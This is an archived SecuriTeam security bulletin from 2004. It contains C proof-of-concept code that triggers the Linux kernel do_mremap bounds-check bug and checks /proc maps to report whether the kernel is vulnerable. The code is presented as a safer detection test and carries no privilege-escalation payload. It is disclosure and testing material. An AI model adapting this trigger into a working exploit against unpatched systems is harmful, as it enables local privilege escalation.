

[EXPL] Linux Kernel do_mremap Improved Test

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0034.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/08/04

To: list@securiteam.com

Date: 8 Jan 2004 12:20:35 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux Kernel do_mremap Improved Test

SUMMARY

As we reported in our previous article <http://www.securiteam.com/unixfocus/5GP061FBPW.html> Linux Kernel do_mremap Local Privilege Escalation Vulnerability, a critical security vulnerability has been found in the Linux kernel memory management code in mremap(2) system call due to incorrect bound checks. This is an improved version of Christophe's code which can be used to test the vulnerability while trying to minize any risk of corrupting any kernel data.

DETAILS

Exploit:

/*

* mremap_bug.c

* Creation date: 07.01.2004

* Copyright(c) 2004 Angelo Dell'Aera <buffer@antifork.org>

*

* This program is free software; you can redistribute it and/or modify

* it under the terms of the GNU General Public License as published by

* the Free Software Foundation; either version 2 of the License, or

* (at your option) any later version.

*

Securiteam: [EXPL] Linux Kernel do_mremap Improved Test

* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.

*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/

```
/*  
* Proof of concept code for testing do_mremap() Linux kernel bug.  
* It is based on the code by Christophe Devine and Julien Tinnes  
* posted on Bugtraq mailing list on 5 Jan 2004 but it's safer since  
* it avoids any kernel data corruption.  
*  
* The following test was done against the Linux kernel 2.6.0. Similar  
* results were obtained against the kernel 2.4.23 and previous ones.  
*  
* buffer@mintaka:~$ gcc -o mremap_bug mremap_bug.c  
* buffer@mintaka:~$ ./mremap_bug  
*  
* Base address : 0x60000000  
*  
* 08048000-08049000 r-xp 00000000 03:03 2694  
/home/buffer/mremap_bug  
* 08049000-0804a000 rw-p 00000000 03:03 2694  
/home/buffer/mremap_bug  
* 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so  
* 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so  
* 40016000-40017000 rw-p 00000000 00:00 0  
* 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so  
* 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so  
* 40156000-40159000 rw-p 00000000 00:00 0  
* 60000000-60002000 rw-p 00000000 00:00 0  
* bfffd000-c0000000 rwxp ffffe000 00:00 0  
*  
* Remapping at 0x70000000...  
*  
* 08048000-08049000 r-xp 00000000 03:03 2694  
/home/buffer/mremap_bug  
* 08049000-0804a000 rw-p 00000000 03:03 2694  
/home/buffer/mremap_bug  
* 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so  
* 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so  
* 40016000-40017000 rw-p 00000000 00:00 0  
* 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so  
* 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so  
* 40156000-40159000 rw-p 00000000 00:00 0  
* 60000000-60002000 rw-p 00000000 00:00 0
```

Securiteam: [EXPL] Linux Kernel do_mremap Improved Test

```
* 70000000-70000000 rw-p 00000000 00:00 0
* bfffd000-c0000000 rwxp ffffe000 00:00 0
*
* Report :
* This kernel appears to be VULNERABLE
*
* Segmentation fault
* buffer@mintaka:~$
*/
```

```
#define _GNU_SOURCE
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <asm/unistd.h>
#include <errno.h>
```

```
#define MREMAP_FIXED 2
```

```
#define PAGESIZE 4096
#define VMASIZE (2*PAGESIZE)
#define BUFSIZE 8192
```

```
#define __NR_real_mremap __NR_mremap
```

```
static inline _syscall5( void *, real_mremap, void *, old_address,
                        size_t, old_size, size_t, new_size,
                        unsigned long, flags, void *, new_address );
```

```
#define MAPS_NO_CHECK 0
#define MAPS_CHECK 1
```

```
int mremap_check = 0;
```

```
void maps_check(char *buf)
{
    if (strstr(buf, "70000000"))
        mremap_check++;
}
```

```
void read_maps(int fd, char *path, unsigned long flag)
{
    ssize_t nbytes;
    char buf[BUFSIZE];
```

Securiteam: [EXPL] Linux Kernel do_mremap Improved Test

```
if (lseek(fd, 0, SEEK_SET) < 0) {
    fprintf(stderr, "Unable to lseek %s\n", path);
    return;
}

while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) {

    if (flag & MAPS_CHECK)
        maps_check(buf);

    if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
        fprintf(stderr, "Unable to read %s\n", path);
        exit (1);
    }
}

int main(int argc, char **argv)
{
    void *base;
    char path[16];
    pid_t pid;
    int fd;

    pid = getpid();
    sprintf(path, "/proc/%d/maps", pid);

    if ( !(fd = open(path, O_RDONLY)) ) {
        fprintf(stderr, "Unable to open %s\n", path);
        return 1;
    }

    base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    printf("\nBase address : 0x%x\n\n", base);
    read_maps(fd, path, MAPS_NO_CHECK);

    printf("\nRemapping at 0x70000000...\n\n");
    base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
        (void *)0x70000000);

    read_maps(fd, path, MAPS_CHECK);

    printf("\nReport : \n");
    (mremap_check)
    ? printf("This kernel appears to be VULNERABLE\n\n")
    : printf("This kernel appears to be NOT VULNERABLE\n\n");

    close(fd);
    return 0;
}
```

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:buffer@antifork.org> Angelo Dell'Aera.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.